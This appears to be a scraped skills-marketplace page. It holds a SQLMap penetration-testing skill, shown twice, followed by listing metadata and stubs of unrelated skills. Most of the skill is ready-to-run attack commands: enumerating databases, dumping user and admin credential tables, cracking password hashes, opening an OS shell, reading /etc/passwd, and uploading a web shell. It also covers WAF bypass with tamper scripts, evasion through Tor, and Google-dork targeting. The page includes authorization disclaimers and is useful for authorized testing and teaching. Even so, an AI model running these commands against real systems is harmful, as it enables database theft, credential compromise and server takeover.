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This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.\n\n## Inputs \u002F Prerequisites\n\n- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)\n- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub\n- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable\n- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection\n- **Authorization**: Written permission for penetration testing activities\n\n## Outputs \u002F Deliverables\n\n- **Database Enumeration**: List of all databases on the target server\n- **Table Structure**: Complete table names within target database\n- **Column Mapping**: Column names and data types for each table\n- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data\n- **Hash Values**: Password hashes for offline cracking\n- **Vulnerability Report**: Confirmation of SQL injection type and severity\n\n## Core Workflow\n\n### 1. Identify SQL Injection Vulnerability\n\n#### Manual Verification\n```bash\n# Add single quote to break query\nhttp:\u002F\u002Ftarget.com\u002Fpage.php?id=1'\n\n# If error message appears, likely SQL injectable\n# Error example: \"You have an error in your SQL syntax\"\n```\n\n#### Initial SQLMap Scan\n```bash\n# Basic vulnerability detection\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --batch\n\n# With verbosity for detailed output\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --batch -v 3\n```\n\n### 2. Enumerate Databases\n\n#### List All Databases\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch\n```\n\n**Key Options:**\n- `-u`: Target URL with injectable parameter\n- `--dbs`: Enumerate database names\n- `--batch`: Use default answers (non-interactive mode)\n\n### 3. Enumerate Tables\n\n#### List Tables in Specific Database\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name --tables --batch\n```\n\n**Key Options:**\n- `-D`: Specify target database name\n- `--tables`: Enumerate table names\n\n### 4. Enumerate Columns\n\n#### List Columns in Specific Table\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T table_name --columns --batch\n```\n\n**Key Options:**\n- `-T`: Specify target table name\n- `--columns`: Enumerate column names\n\n### 5. Extract Data\n\n#### Dump Specific Table Data\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T table_name --dump --batch\n```\n\n#### Dump Specific Columns\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T users -C username,password --dump --batch\n```\n\n#### Dump Entire Database\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name --dump-all --batch\n```\n\n**Key Options:**\n- `--dump`: Extract all data from specified table\n- `--dump-all`: Extract all data from all tables\n- `-C`: Specify column names to extract\n\n### 6. Advanced Target Options\n\n#### Target from HTTP Request File\n```bash\n# Save Burp Suite request to file, then:\nsqlmap -r \u002Fpath\u002Fto\u002Frequest.txt --dbs --batch\n```\n\n#### Target from Log File\n```bash\n# Feed log file with multiple requests\nsqlmap -l \u002Fpath\u002Fto\u002Flogfile --dbs --batch\n```\n\n#### Target Multiple URLs (Bulk File)\n```bash\n# Create file with URLs, one per line:\n# http:\u002F\u002Ftarget1.com\u002Fpage.php?id=1\n# http:\u002F\u002Ftarget2.com\u002Fpage.php?id=2\nsqlmap -m \u002Fpath\u002Fto\u002Fbulkfile.txt --dbs --batch\n```\n\n#### Target via Google Dorks (Use with Caution)\n```bash\n# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)\nsqlmap -g \"inurl:?id= site:yourdomain.com\" --batch\n```\n\n## Quick Reference Commands\n\n### Database Enumeration Progression\n\n| Stage | Command |\n|-------|---------|\n| List Databases | `sqlmap -u \"URL\" --dbs --batch` |\n| List Tables | `sqlmap -u \"URL\" -D dbname --tables --batch` |\n| List Columns | `sqlmap -u \"URL\" -D dbname -T tablename --columns --batch` |\n| Dump Data | `sqlmap -u \"URL\" -D dbname -T tablename --dump --batch` |\n| Dump All | `sqlmap -u \"URL\" -D dbname --dump-all --batch` |\n\n### Supported Database Management Systems\n\n| DBMS | Support Level |\n|------|---------------|\n| MySQL | Full Support |\n| PostgreSQL | Full Support |\n| Microsoft SQL Server | Full Support |\n| Oracle | Full Support |\n| Microsoft Access | Full Support |\n| IBM DB2 | Full Support |\n| SQLite | Full Support |\n| Firebird | Full Support |\n| Sybase | Full Support |\n| SAP MaxDB | Full Support |\n| HSQLDB | Full Support |\n| Informix | Full Support |\n\n### SQL Injection Techniques\n\n| Technique | Description | Flag |\n|-----------|-------------|------|\n| Boolean-based blind | Infers data from true\u002Ffalse responses | `--technique=B` |\n| Time-based blind | Uses time delays to infer data | `--technique=T` |\n| Error-based | Extracts data from error messages | `--technique=E` |\n| UNION query-based | Uses UNION to append results | `--technique=U` |\n| Stacked queries | Executes multiple statements | `--technique=S` |\n| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |\n\n### Essential Options\n\n| Option | Description |\n|--------|-------------|\n| `-u` | Target URL |\n| `-r` | Load HTTP request from file |\n| `-l` | Parse targets from Burp\u002FWebScarab log |\n| `-m` | Bulk file with multiple targets |\n| `-g` | Google dork (use responsibly) |\n| `--dbs` | Enumerate databases |\n| `--tables` | Enumerate tables |\n| `--columns` | Enumerate columns |\n| `--dump` | Dump table data |\n| `--dump-all` | Dump all database data |\n| `-D` | Specify database |\n| `-T` | Specify table |\n| `-C` | Specify columns |\n| `--batch` | Non-interactive mode |\n| `--random-agent` | Use random User-Agent |\n| `--level` | Level of tests (1-5) |\n| `--risk` | Risk of tests (1-3) |\n\n## Constraints and Limitations\n\n### Operational Boundaries\n- Requires valid injectable parameter in target URL\n- Network connectivity to target database server required\n- Large database dumps may take significant time\n- Some WAF\u002FIPS systems may block SQLMap traffic\n- Time-based attacks significantly slower than error-based\n\n### Performance Considerations\n- Use `--threads` to speed up enumeration (default: 1)\n- Limit dumps with `--start` and `--stop` for large tables\n- Use `--technique` to specify faster injection method if known\n\n### Legal Requirements\n- Only test systems with explicit written authorization\n- Google dork attacks against unknown sites are illegal\n- Document all testing activities and findings\n- Respect scope limitations defined in engagement rules\n\n### Detection Risk\n- SQLMap generates significant log entries\n- Use `--random-agent` to vary User-Agent header\n- Consider `--delay` to avoid triggering rate limits\n- Proxy through Tor with `--tor` for anonymity (authorized tests only)\n\n## Examples\n\n### Example 1: Complete Database Enumeration\n```bash\n# Step 1: Discover databases\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" --dbs --batch\n# Result: acuart database found\n\n# Step 2: List tables\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart --tables --batch\n# Result: users, products, carts, etc.\n\n# Step 3: List columns\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart -T users --columns --batch\n# Result: username, password, email columns\n\n# Step 4: Dump user credentials\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart -T users --dump --batch\n```\n\n### Example 2: POST Request Injection\n```bash\n# Save Burp request to file (login.txt):\n# POST \u002Flogin.php HTTP\u002F1.1\n# Host: target.com\n# Content-Type: application\u002Fx-www-form-urlencoded\n# \n# username=admin&password=test\n\n# Run SQLMap with request file\nsqlmap -r \u002Froot\u002FDesktop\u002Flogin.txt -p username --dbs --batch\n```\n\n### Example 3: Bulk Target Scanning\n```bash\n# Create bulkfile.txt:\necho \"http:\u002F\u002F192.168.1.10\u002Fsqli\u002FLess-1\u002F?id=1\" > bulkfile.txt\necho \"http:\u002F\u002F192.168.1.10\u002Fsqli\u002FLess-2\u002F?id=1\" >> bulkfile.txt\n\n# Scan all targets\nsqlmap -m bulkfile.txt --dbs --batch\n```\n\n### Example 4: Aggressive Testing\n```bash\n# High level and risk for thorough testing\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch --level=5 --risk=3\n\n# Specify all techniques\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch --technique=BEUSTQ\n```\n\n### Example 5: Extract Specific Credentials\n```bash\n# Target specific columns\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" \\\n  -D webapp \\\n  -T admin_users \\\n  -C admin_name,admin_pass,admin_email \\\n  --dump --batch\n\n# Automatically crack password hashes\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" \\\n  -D webapp \\\n  -T users \\\n  --dump --batch \\\n  --passwords\n```\n\n### Example 6: OS Shell Access (Advanced)\n```bash\n# Get interactive OS shell (requires DBA privileges)\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --os-shell --batch\n\n# Execute specific OS command\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --os-cmd=\"whoami\" --batch\n\n# File read from server\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --file-read=\"\u002Fetc\u002Fpasswd\" --batch\n\n# File upload to server\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --file-write=\"\u002Flocal\u002Fshell.php\" --file-dest=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php\" --batch\n```\n\n## Troubleshooting\n\n### Issue: \"Parameter does not seem injectable\"\n**Cause**: SQLMap cannot find injection point\n**Solution**:\n```bash\n# Increase testing level and risk\nsqlmap -u \"URL\" --dbs --batch --level=5 --risk=3\n\n# Specify parameter explicitly\nsqlmap -u \"URL\" -p \"id\" --dbs --batch\n\n# Try different injection techniques\nsqlmap -u \"URL\" --dbs --batch --technique=BT\n\n# Add prefix\u002Fsuffix for filter bypass\nsqlmap -u \"URL\" --dbs --batch --prefix=\"'\" --suffix=\"-- -\"\n```\n\n### Issue: Target Behind WAF\u002FFirewall\n**Cause**: Web Application Firewall blocking requests\n**Solution**:\n```bash\n# Use tamper scripts\nsqlmap -u \"URL\" --dbs --batch --tamper=space2comment\n\n# List available tamper scripts\nsqlmap --list-tampers\n\n# Common tamper combinations\nsqlmap -u \"URL\" --dbs --batch --tamper=space2comment,between,randomcase\n\n# Add delay between requests\nsqlmap -u \"URL\" --dbs --batch --delay=2\n\n# Use random User-Agent\nsqlmap -u \"URL\" --dbs --batch --random-agent\n```\n\n### Issue: Connection Timeout\n**Cause**: Network issues or slow target\n**Solution**:\n```bash\n# Increase timeout\nsqlmap -u \"URL\" --dbs --batch --timeout=60\n\n# Reduce threads\nsqlmap -u \"URL\" --dbs --batch --threads=1\n\n# Add retries\nsqlmap -u \"URL\" --dbs --batch --retries=5\n```\n\n### Issue: Time-Based Attacks Too Slow\n**Cause**: Default time delay too conservative\n**Solution**:\n```bash\n# Reduce time delay (risky, may cause false negatives)\nsqlmap -u \"URL\" --dbs --batch --time-sec=3\n\n# Use boolean-based instead if possible\nsqlmap -u \"URL\" --dbs --batch --technique=B\n```\n\n### Issue: Cannot Dump Large Tables\n**Cause**: Table has too many records\n**Solution**:\n```bash\n# Limit number of records\nsqlmap -u \"URL\" -D db -T table --dump --batch --start=1 --stop=100\n\n# Dump specific columns only\nsqlmap -u \"URL\" -D db -T table -C username,password --dump --batch\n\n# Exclude specific columns\nsqlmap -u \"URL\" -D db -T table --dump --batch --exclude-sysdbs\n```\n\n### Issue: Session Drops During Long Scan\n**Cause**: Session timeout or connection reset\n**Solution**:\n```bash\n# Save and resume session\nsqlmap -u \"URL\" --dbs --batch --output-dir=\u002Froot\u002Fsqlmap_session\n\n# Resume from saved session\nsqlmap -u \"URL\" --dbs --batch --resume\n\n# Use persistent HTTP connection\nsqlmap -u \"URL\" --dbs --batch --keep-alive\n```\n","# SQLMap Database Penetration Testing\n\n## Purpose\n\nProvide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.\n\n## Inputs \u002F Prerequisites\n\n- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)\n- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub\n- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable\n- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection\n- **Authorization**: Written permission for penetration testing activities\n\n## Outputs \u002F Deliverables\n\n- **Database Enumeration**: List of all databases on the target server\n- **Table Structure**: Complete table names within target database\n- **Column Mapping**: Column names and data types for each table\n- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data\n- **Hash Values**: Password hashes for offline cracking\n- **Vulnerability Report**: Confirmation of SQL injection type and severity\n\n## Core Workflow\n\n### 1. Identify SQL Injection Vulnerability\n\n#### Manual Verification\n```bash\n# Add single quote to break query\nhttp:\u002F\u002Ftarget.com\u002Fpage.php?id=1'\n\n# If error message appears, likely SQL injectable\n# Error example: \"You have an error in your SQL syntax\"\n```\n\n#### Initial SQLMap Scan\n```bash\n# Basic vulnerability detection\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --batch\n\n# With verbosity for detailed output\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --batch -v 3\n```\n\n### 2. Enumerate Databases\n\n#### List All Databases\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch\n```\n\n**Key Options:**\n- `-u`: Target URL with injectable parameter\n- `--dbs`: Enumerate database names\n- `--batch`: Use default answers (non-interactive mode)\n\n### 3. Enumerate Tables\n\n#### List Tables in Specific Database\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name --tables --batch\n```\n\n**Key Options:**\n- `-D`: Specify target database name\n- `--tables`: Enumerate table names\n\n### 4. Enumerate Columns\n\n#### List Columns in Specific Table\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T table_name --columns --batch\n```\n\n**Key Options:**\n- `-T`: Specify target table name\n- `--columns`: Enumerate column names\n\n### 5. Extract Data\n\n#### Dump Specific Table Data\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T table_name --dump --batch\n```\n\n#### Dump Specific Columns\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name -T users -C username,password --dump --batch\n```\n\n#### Dump Entire Database\n```bash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database_name --dump-all --batch\n```\n\n**Key Options:**\n- `--dump`: Extract all data from specified table\n- `--dump-all`: Extract all data from all tables\n- `-C`: Specify column names to extract\n\n### 6. Advanced Target Options\n\n#### Target from HTTP Request File\n```bash\n# Save Burp Suite request to file, then:\nsqlmap -r \u002Fpath\u002Fto\u002Frequest.txt --dbs --batch\n```\n\n#### Target from Log File\n```bash\n# Feed log file with multiple requests\nsqlmap -l \u002Fpath\u002Fto\u002Flogfile --dbs --batch\n```\n\n#### Target Multiple URLs (Bulk File)\n```bash\n# Create file with URLs, one per line:\n# http:\u002F\u002Ftarget1.com\u002Fpage.php?id=1\n# http:\u002F\u002Ftarget2.com\u002Fpage.php?id=2\nsqlmap -m \u002Fpath\u002Fto\u002Fbulkfile.txt --dbs --batch\n```\n\n#### Target via Google Dorks (Use with Caution)\n```bash\n# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)\nsqlmap -g \"inurl:?id= site:yourdomain.com\" --batch\n```\n\n## Quick Reference Commands\n\n### Database Enumeration Progression\n\n| Stage | Command |\n|-------|---------|\n| List Databases | `sqlmap -u \"URL\" --dbs --batch` |\n| List Tables | `sqlmap -u \"URL\" -D dbname --tables --batch` |\n| List Columns | `sqlmap -u \"URL\" -D dbname -T tablename --columns --batch` |\n| Dump Data | `sqlmap -u \"URL\" -D dbname -T tablename --dump --batch` |\n| Dump All | `sqlmap -u \"URL\" -D dbname --dump-all --batch` |\n\n### Supported Database Management Systems\n\n| DBMS | Support Level |\n|------|---------------|\n| MySQL | Full Support |\n| PostgreSQL | Full Support |\n| Microsoft SQL Server | Full Support |\n| Oracle | Full Support |\n| Microsoft Access | Full Support |\n| IBM DB2 | Full Support |\n| SQLite | Full Support |\n| Firebird | Full Support |\n| Sybase | Full Support |\n| SAP MaxDB | Full Support |\n| HSQLDB | Full Support |\n| Informix | Full Support |\n\n### SQL Injection Techniques\n\n| Technique | Description | Flag |\n|-----------|-------------|------|\n| Boolean-based blind | Infers data from true\u002Ffalse responses | `--technique=B` |\n| Time-based blind | Uses time delays to infer data | `--technique=T` |\n| Error-based | Extracts data from error messages | `--technique=E` |\n| UNION query-based | Uses UNION to append results | `--technique=U` |\n| Stacked queries | Executes multiple statements | `--technique=S` |\n| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |\n\n### Essential Options\n\n| Option | Description |\n|--------|-------------|\n| `-u` | Target URL |\n| `-r` | Load HTTP request from file |\n| `-l` | Parse targets from Burp\u002FWebScarab log |\n| `-m` | Bulk file with multiple targets |\n| `-g` | Google dork (use responsibly) |\n| `--dbs` | Enumerate databases |\n| `--tables` | Enumerate tables |\n| `--columns` | Enumerate columns |\n| `--dump` | Dump table data |\n| `--dump-all` | Dump all database data |\n| `-D` | Specify database |\n| `-T` | Specify table |\n| `-C` | Specify columns |\n| `--batch` | Non-interactive mode |\n| `--random-agent` | Use random User-Agent |\n| `--level` | Level of tests (1-5) |\n| `--risk` | Risk of tests (1-3) |\n\n## Constraints and Limitations\n\n### Operational Boundaries\n- Requires valid injectable parameter in target URL\n- Network connectivity to target database server required\n- Large database dumps may take significant time\n- Some WAF\u002FIPS systems may block SQLMap traffic\n- Time-based attacks significantly slower than error-based\n\n### Performance Considerations\n- Use `--threads` to speed up enumeration (default: 1)\n- Limit dumps with `--start` and `--stop` for large tables\n- Use `--technique` to specify faster injection method if known\n\n### Legal Requirements\n- Only test systems with explicit written authorization\n- Google dork attacks against unknown sites are illegal\n- Document all testing activities and findings\n- Respect scope limitations defined in engagement rules\n\n### Detection Risk\n- SQLMap generates significant log entries\n- Use `--random-agent` to vary User-Agent header\n- Consider `--delay` to avoid triggering rate limits\n- Proxy through Tor with `--tor` for anonymity (authorized tests only)\n\n## Examples\n\n### Example 1: Complete Database Enumeration\n```bash\n# Step 1: Discover databases\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" --dbs --batch\n# Result: acuart database found\n\n# Step 2: List tables\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart --tables --batch\n# Result: users, products, carts, etc.\n\n# Step 3: List columns\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart -T users --columns --batch\n# Result: username, password, email columns\n\n# Step 4: Dump user credentials\nsqlmap -u \"http:\u002F\u002Ftestphp.vulnweb.com\u002Fartists.php?artist=1\" -D acuart -T users --dump --batch\n```\n\n### Example 2: POST Request Injection\n```bash\n# Save Burp request to file (login.txt):\n# POST \u002Flogin.php HTTP\u002F1.1\n# Host: target.com\n# Content-Type: application\u002Fx-www-form-urlencoded\n# \n# username=admin&password=test\n\n# Run SQLMap with request file\nsqlmap -r \u002Froot\u002FDesktop\u002Flogin.txt -p username --dbs --batch\n```\n\n### Example 3: Bulk Target Scanning\n```bash\n# Create bulkfile.txt:\necho \"http:\u002F\u002F192.168.1.10\u002Fsqli\u002FLess-1\u002F?id=1\" > bulkfile.txt\necho \"http:\u002F\u002F192.168.1.10\u002Fsqli\u002FLess-2\u002F?id=1\" >> bulkfile.txt\n\n# Scan all targets\nsqlmap -m bulkfile.txt --dbs --batch\n```\n\n### Example 4: Aggressive Testing\n```bash\n# High level and risk for thorough testing\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch --level=5 --risk=3\n\n# Specify all techniques\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs --batch --technique=BEUSTQ\n```\n\n### Example 5: Extract Specific Credentials\n```bash\n# Target specific columns\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" \\\n  -D webapp \\\n  -T admin_users \\\n  -C admin_name,admin_pass,admin_email \\\n  --dump --batch\n\n# Automatically crack password hashes\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" \\\n  -D webapp \\\n  -T users \\\n  --dump --batch \\\n  --passwords\n```\n\n### Example 6: OS Shell Access (Advanced)\n```bash\n# Get interactive OS shell (requires DBA privileges)\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --os-shell --batch\n\n# Execute specific OS command\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --os-cmd=\"whoami\" --batch\n\n# File read from server\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --file-read=\"\u002Fetc\u002Fpasswd\" --batch\n\n# File upload to server\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --file-write=\"\u002Flocal\u002Fshell.php\" --file-dest=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php\" --batch\n```\n\n## Troubleshooting\n\n### Issue: \"Parameter does not seem injectable\"\n**Cause**: SQLMap cannot find injection point\n**Solution**:\n```bash\n# Increase testing level and risk\nsqlmap -u \"URL\" --dbs --batch --level=5 --risk=3\n\n# Specify parameter explicitly\nsqlmap -u \"URL\" -p \"id\" --dbs --batch\n\n# Try different injection techniques\nsqlmap -u \"URL\" --dbs --batch --technique=BT\n\n# Add prefix\u002Fsuffix for filter bypass\nsqlmap -u \"URL\" --dbs --batch --prefix=\"'\" --suffix=\"-- -\"\n```\n\n### Issue: Target Behind WAF\u002FFirewall\n**Cause**: Web Application Firewall blocking requests\n**Solution**:\n```bash\n# Use tamper scripts\nsqlmap -u \"URL\" --dbs --batch --tamper=space2comment\n\n# List available tamper scripts\nsqlmap --list-tampers\n\n# Common tamper combinations\nsqlmap -u \"URL\" --dbs --batch --tamper=space2comment,between,randomcase\n\n# Add delay between requests\nsqlmap -u \"URL\" --dbs --batch --delay=2\n\n# Use random User-Agent\nsqlmap -u \"URL\" --dbs --batch --random-agent\n```\n\n### Issue: Connection Timeout\n**Cause**: Network issues or slow target\n**Solution**:\n```bash\n# Increase timeout\nsqlmap -u \"URL\" --dbs --batch --timeout=60\n\n# Reduce threads\nsqlmap -u \"URL\" --dbs --batch --threads=1\n\n# Add retries\nsqlmap -u \"URL\" --dbs --batch --retries=5\n```\n\n### Issue: Time-Based Attacks Too Slow\n**Cause**: Default time delay too conservative\n**Solution**:\n```bash\n# Reduce time delay (risky, may cause false negatives)\nsqlmap -u \"URL\" --dbs --batch --time-sec=3\n\n# Use boolean-based instead if possible\nsqlmap -u \"URL\" --dbs --batch --technique=B\n```\n\n### Issue: Cannot Dump Large Tables\n**Cause**: Table has too many records\n**Solution**:\n```bash\n# Limit number of records\nsqlmap -u \"URL\" -D db -T table --dump --batch --start=1 --stop=100\n\n# Dump specific columns only\nsqlmap -u \"URL\" -D db -T table -C username,password --dump --batch\n\n# Exclude specific columns\nsqlmap -u \"URL\" -D db -T table --dump --batch --exclude-sysdbs\n```\n\n### Issue: Session Drops During Long Scan\n**Cause**: Session timeout or connection reset\n**Solution**:\n```bash\n# Save and resume session\nsqlmap -u \"URL\" --dbs --batch --output-dir=\u002Froot\u002Fsqlmap_session\n\n# Resume from saved session\nsqlmap -u \"URL\" --dbs --batch --resume\n\n# Use persistent HTTP connection\nsqlmap -u \"URL\" --dbs --batch --keep-alive\n```\n",{"name":5,"metadata":61,"description":7},{"author":62,"version":63},"zebbern","1.1","main","2b749c82b5d11fac39d9a6e021ce3f5b8a541bd1","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fsqlmap-database-pentesting",3911,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-11 21:38:31",{"source":8,"skillName":5,"commands":75,"prompt":85,"zipAvailable":86},[76,79,82],{"tool":77,"command":78},"npx","npx skills add davila7\u002Fclaude-code-templates --skill sqlmap-database-pentesting",{"tool":80,"command":81},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill sqlmap-database-pentesting",{"tool":83,"command":84},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill sqlmap-database-pentesting","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fsqlmap-database-pentesting\u002FSKILL.md",true,[],[89,115,142,167,202,223],{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":93,"categories":94,"keywords":96,"publishedAt":56},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[95],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[97,98,99,100,101,41,102,103,104,39,105,106,107,108,109,110,111,112,113,114],"scoring","pool","wealthville pool scoring","liquidity","which","exit","now","use","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":122,"publishedAt":56},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[121],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[123,124,125,126,127,128,129,130,131,132,133,39,134,135,136,137,138,139,140,141],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":151,"publishedAt":56},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard","Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[148,149,150],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":30,"categoryName":31,"taxonomyType":32,"taxonomyTypeDesc":33},[152,153,154,54,155,156,157,41,158,159,160,161,162,163,164,104,165,35,39,166],"readonly","guard","sql guard","readonly sql 